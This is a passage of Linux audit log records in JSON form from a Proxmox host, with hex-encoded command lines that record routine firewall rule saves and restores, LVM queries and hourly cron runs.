{"@timestamp":1781965025841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.841:63677): proctitle=\"ebtables-restore\""} {"@timestamp":1781965505906,"@rawstring":"node=pve type=PATH msg=audit(1781965505.906:65897): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.839:63676): proctitle=\"ebtables-restore\""} {"@timestamp":1781965505906,"@rawstring":"node=pve type=PATH msg=audit(1781965505.906:65897): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.834:63675): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965505898,"@rawstring":"node=pve type=PATH msg=audit(1781965505.898:65896): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.829:63674): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965505898,"@rawstring":"node=pve type=PATH msg=audit(1781965505.898:65896): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.823:63673): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965505888,"@rawstring":"node=pve type=PATH msg=audit(1781965505.888:65895): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.818:63672): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965505888,"@rawstring":"node=pve type=PATH msg=audit(1781965505.888:65895): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.813:63671): proctitle=697073657400726573746F7265"} {"@timestamp":1781965505877,"@rawstring":"node=pve type=PATH msg=audit(1781965505.877:65894): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.806:63670): proctitle=\"ip6tables-save\""} {"@timestamp":1781965505877,"@rawstring":"node=pve type=PATH msg=audit(1781965505.877:65894): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.799:63669): proctitle=\"iptables-save\""} {"@timestamp":1781965505873,"@rawstring":"node=pve type=PATH msg=audit(1781965505.873:65893): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.795:63668): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965505873,"@rawstring":"node=pve type=PATH msg=audit(1781965505.873:65893): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.792:63667): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965505870,"@rawstring":"node=pve type=PATH msg=audit(1781965505.870:65892): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.791:63666): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965505870,"@rawstring":"node=pve type=PATH msg=audit(1781965505.870:65892): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.791:63665): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965505868,"@rawstring":"node=pve type=PATH msg=audit(1781965505.868:65891): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.787:63664): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965505868,"@rawstring":"node=pve type=PATH msg=audit(1781965505.868:65891): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.780:63663): proctitle=\"ip6tables-save\""} {"@timestamp":1781965505868,"@rawstring":"node=pve type=PATH msg=audit(1781965505.868:65890): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.773:63662): proctitle=\"iptables-save\""} {"@timestamp":1781965505864,"@rawstring":"node=pve type=PATH msg=audit(1781965505.864:65889): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.768:63661): proctitle=69707365740073617665"} {"@timestamp":1781965505864,"@rawstring":"node=pve type=PATH msg=audit(1781965505.864:65889): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.761:63660): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965505864,"@rawstring":"node=pve type=PATH msg=audit(1781965505.864:65889): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965025.753:63659): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965505856,"@rawstring":"node=pve type=PATH msg=audit(1781965505.856:65888): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965024336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965024.336:63658): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965505856,"@rawstring":"node=pve type=PATH msg=audit(1781965505.856:65888): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965024310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965024.310:63657): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965505848,"@rawstring":"node=pve type=PATH msg=audit(1781965505.848:65887): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.942:63654): proctitle=72756E2D7061727473002D2D7265706F7274002F6574632F63726F6E2E686F75726C79"} {"@timestamp":1781965505848,"@rawstring":"node=pve type=PATH msg=audit(1781965505.848:65887): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.942:63653): proctitle=2F62696E2F7368002D63006364202F2026262072756E2D7061727473202D2D7265706F7274202F6574632F63726F6E2E686F75726C79"} {"@timestamp":1781965505842,"@rawstring":"node=pve type=PATH msg=audit(1781965505.842:65886): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.940:63650): proctitle=2F7573722F7362696E2F43524F4E002D66"} {"@timestamp":1781965505842,"@rawstring":"node=pve type=PATH msg=audit(1781965505.842:65886): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.939:63647): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F740063686B657870697279"} {"@timestamp":1781965505831,"@rawstring":"node=pve type=PATH msg=audit(1781965505.831:65885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.938:63646): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F740063686B657870697279"} {"@timestamp":1781965505831,"@rawstring":"node=pve type=PATH msg=audit(1781965505.831:65885): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.518:63645): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505821,"@rawstring":"node=pve type=PATH msg=audit(1781965505.821:65884): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.518:63644): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965505821,"@rawstring":"node=pve type=PATH msg=audit(1781965505.821:65884): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.518:63643): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965504145,"@rawstring":"node=pve type=PATH msg=audit(1781965504.145:65883): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.509:63642): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965504145,"@rawstring":"node=pve type=PATH msg=audit(1781965504.145:65883): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.509:63641): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965504123,"@rawstring":"node=pve type=PATH msg=audit(1781965504.123:65882): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021508,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965021.508:63640): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965504123,"@rawstring":"node=pve type=PATH msg=audit(1781965504.123:65882): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965016.501:63639): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965503254,"@rawstring":"node=pve type=PATH msg=audit(1781965503.254:65881): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965016.501:63638): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965503254,"@rawstring":"node=pve type=PATH msg=audit(1781965503.254:65881): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965016.501:63637): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965503254,"@rawstring":"node=pve type=PATH msg=audit(1781965503.254:65880): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965016.494:63636): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965503254,"@rawstring":"node=pve type=PATH msg=audit(1781965503.254:65879): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965016.494:63635): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965503246,"@rawstring":"node=pve type=PATH msg=audit(1781965503.246:65878): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965016.494:63634): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965503246,"@rawstring":"node=pve type=PATH msg=audit(1781965503.246:65878): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015743,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.743:63633): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965503246,"@rawstring":"node=pve type=PATH msg=audit(1781965503.246:65877): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.740:63632): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965503246,"@rawstring":"node=pve type=PATH msg=audit(1781965503.246:65876): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015739,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.739:63631): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965498234,"@rawstring":"node=pve type=PATH msg=audit(1781965498.234:65875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015739,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.739:63630): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965498234,"@rawstring":"node=pve type=PATH msg=audit(1781965498.234:65875): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015736,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.736:63629): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965498234,"@rawstring":"node=pve type=PATH msg=audit(1781965498.234:65874): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.729:63628): proctitle=\"ip6tables-save\""} {"@timestamp":1781965498234,"@rawstring":"node=pve type=PATH msg=audit(1781965498.234:65873): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.723:63627): proctitle=\"iptables-save\""} {"@timestamp":1781965498221,"@rawstring":"node=pve type=PATH msg=audit(1781965498.221:65872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015716,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.716:63626): proctitle=\"ip6tables-save\""} {"@timestamp":1781965498221,"@rawstring":"node=pve type=PATH msg=audit(1781965498.221:65872): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.710:63625): proctitle=\"iptables-save\""} {"@timestamp":1781965498221,"@rawstring":"node=pve type=PATH msg=audit(1781965498.221:65871): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015707,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.707:63624): proctitle=\"ebtables-restore\""} {"@timestamp":1781965498221,"@rawstring":"node=pve type=PATH msg=audit(1781965498.221:65870): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.705:63623): proctitle=\"ebtables-restore\""} {"@timestamp":1781965495806,"@rawstring":"node=pve type=PATH msg=audit(1781965495.806:65869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.701:63622): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965495806,"@rawstring":"node=pve type=PATH msg=audit(1781965495.806:65869): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.695:63621): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965495802,"@rawstring":"node=pve type=PATH msg=audit(1781965495.802:65868): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.690:63620): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965495802,"@rawstring":"node=pve type=PATH msg=audit(1781965495.802:65868): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015685,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.685:63619): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965495800,"@rawstring":"node=pve type=PATH msg=audit(1781965495.800:65867): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.681:63618): proctitle=697073657400726573746F7265"} {"@timestamp":1781965495800,"@rawstring":"node=pve type=PATH msg=audit(1781965495.800:65867): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.675:63617): proctitle=\"ip6tables-save\""} {"@timestamp":1781965495800,"@rawstring":"node=pve type=PATH msg=audit(1781965495.800:65866): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.669:63616): proctitle=\"iptables-save\""} {"@timestamp":1781965495796,"@rawstring":"node=pve type=PATH msg=audit(1781965495.796:65865): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.665:63615): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965495796,"@rawstring":"node=pve type=PATH msg=audit(1781965495.796:65865): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.662:63614): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965495796,"@rawstring":"node=pve type=PATH msg=audit(1781965495.796:65865): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.661:63613): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495790,"@rawstring":"node=pve type=PATH msg=audit(1781965495.790:65864): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.661:63612): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495790,"@rawstring":"node=pve type=PATH msg=audit(1781965495.790:65864): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015657,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965015.657:63611): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965495783,"@rawstring":"node=pve type=PATH msg=audit(1781965495.783:65863): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 